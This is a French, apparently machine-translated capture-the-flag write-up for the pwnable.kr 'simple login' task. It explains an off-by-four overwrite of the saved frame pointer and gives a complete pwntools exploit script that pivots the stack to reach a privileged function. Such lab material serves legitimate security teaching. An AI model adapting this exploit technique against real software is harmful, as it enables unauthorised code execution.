Dans cet article, nous allons résoudre la 24e tâche à partir du site
pwnable.kr et découvrir comment empiler le cadre de pile.
Information organisationnelleSurtout pour ceux qui veulent apprendre quelque chose de nouveau et se développer dans l'un des domaines de l'information et de la sécurité informatique, j'écrirai et parlerai des catégories suivantes:
- PWN;
- cryptographie (Crypto);
- technologies de réseau (réseau);
- reverse (Reverse Engineering);
- stéganographie (Stegano);
- recherche et exploitation des vulnérabilités WEB.
En plus de cela, je partagerai mon expérience en criminalistique informatique, analyse de logiciels malveillants et micrologiciels, attaques sur les réseaux sans fil et réseaux locaux, réalisation de pentests et écriture d'exploits.
Afin que vous puissiez vous renseigner sur les nouveaux articles, logiciels et autres informations, j'ai créé une
chaîne dans Telegram et un
groupe pour discuter de tout problème dans le domaine de l'ICD. Aussi, je considérerai personnellement vos demandes, questions, suggestions et recommandations
personnelles et répondrai à tout le monde .
Toutes les informations sont fournies à des fins éducatives uniquement. L'auteur de ce document n'assume aucune responsabilité pour tout dommage causé à quelqu'un du fait de l'utilisation des connaissances et des méthodes obtenues à la suite de l'étude de ce document.
Solution de travail de connexion simple
Nous continuons la deuxième section. Je dirai tout de suite que c'est plus difficile que le premier et qu'on ne nous fournit pas le code source des applications. N'oubliez pas la discussion
ici . Commençons.
Cliquez sur l'icône avec la connexion simple de signature. On nous donne l'adresse et le port de connexion et le programme lui-même.

Téléchargez tout ce qu'ils nous donnent, vérifiez le binaire.

Il s'agit d'un elfe 32 bits avec une pile canari installée et non exécutable. Nous décompilons dans IDA Pro.

Dans le programme, les données utilisateur sont décodées à partir de base64. La variable v7 stocke la longueur de la chaîne décodée. En outre, v7 est comparé à 12. Si la vérification est réussie, la chaîne décodée est copiée dans la variable d'entrée, puis la fonction d'authentification est appelée, dans laquelle la longueur de la chaîne décodée est transmise en tant que paramètre. Et si nous réussissons l'authentification, la fonction correcte est appelée. Regardons la fonction d'authentification.

Cela ressemble à un débordement de tampon. Jetez un oeil à la pile.

Non. Nous ne pouvons pas déborder le tampon, car cela nécessite plus de 12 octets. Les adresses où la valeur des variables est stockée sont intéressantes, en particulier la variable v4 vers laquelle la copie est effectuée.

Il s'agit de l'adresse [ESP + 32]. Jetez un oeil au code pour cela sous une forme démontée.

Les instructions suivantes sont nécessaires pour enregistrer le cadre de pile.
push ebp
mov ebp, esp
Pour restaurer la pile, utilisez l'instruction congé. Dont nous effectuons les opérations inverses.

La plus intéressante est la troisième instruction
sub esp, 28h
.
Ainsi, un chevauchement se produit: esp diminue de 40, et la variable v2 est située à esp + 32 et prend 12 octets. Autrement dit, après avoir déplacé la valeur de esp vers ebp, l'adresse des quatre derniers octets de la variable v2 sera enregistrée dans ebp. Lorsque les instructions Leave et Retn sont exécutées, les quatre derniers octets de la variable v2 seront désormais dans la trame haute de la pile.
Vérifions et donnons la ligne d'entrée QUFBQUFBQUFCQkJC.

Si notre hypothèse est correcte, après avoir exécuté retn dans la fonction d'authentification, le haut de la pile sera l'adresse «BBBB».

Maintenant, exécutez congé.

Il y a «BBBB» dans EBP et maintenant après avoir exécuté le congé dans la fonction principale main, le programme va planter. Ainsi, nous pouvons devant l'adresse du haut de la pile à laquelle se trouvera l'adresse à laquelle nous voulons aller. Ensuite, la charge sera comme ceci: 4 tous les octets + adresse où nous allons + adresse au début de la charge.
Tout d'abord, écrivez un modèle.
from pwn import * from base64 import * r = remote('pwnable.kr', 9003) r.recv() r.interactive()
Maintenant, nous trouvons l'adresse où nous voulons aller - c'est 0x8049284 à l'intérieur de la fonction correcte.

Cette adresse sera la deuxième partie de notre chargement. La troisième partie de la charge sera l'adresse de la variable d'entrée (adresse de charge).

Nous composons la charge dans le code. N'oubliez pas de coder en base64:
payload = "A"*4 + p32(0x8049284) + p32(0x811EB40) payload = b64encode(payload)
Code complet.
from pwn import * from base64 import * r = remote('pwnable.kr', 9003) r.recv() payload = "A"*4 + p32(0x8049284) + p32(0x811EB40) payload = b64encode(payload) r.send(payload+"\n") r.interactive()

Et obtenez vos points. Honnêtement, cette tâche n'a pas été très facile pour moi.

Et nous continuons: dans le prochain article - la médecine légale. Vous pouvez nous rejoindre sur
Telegram .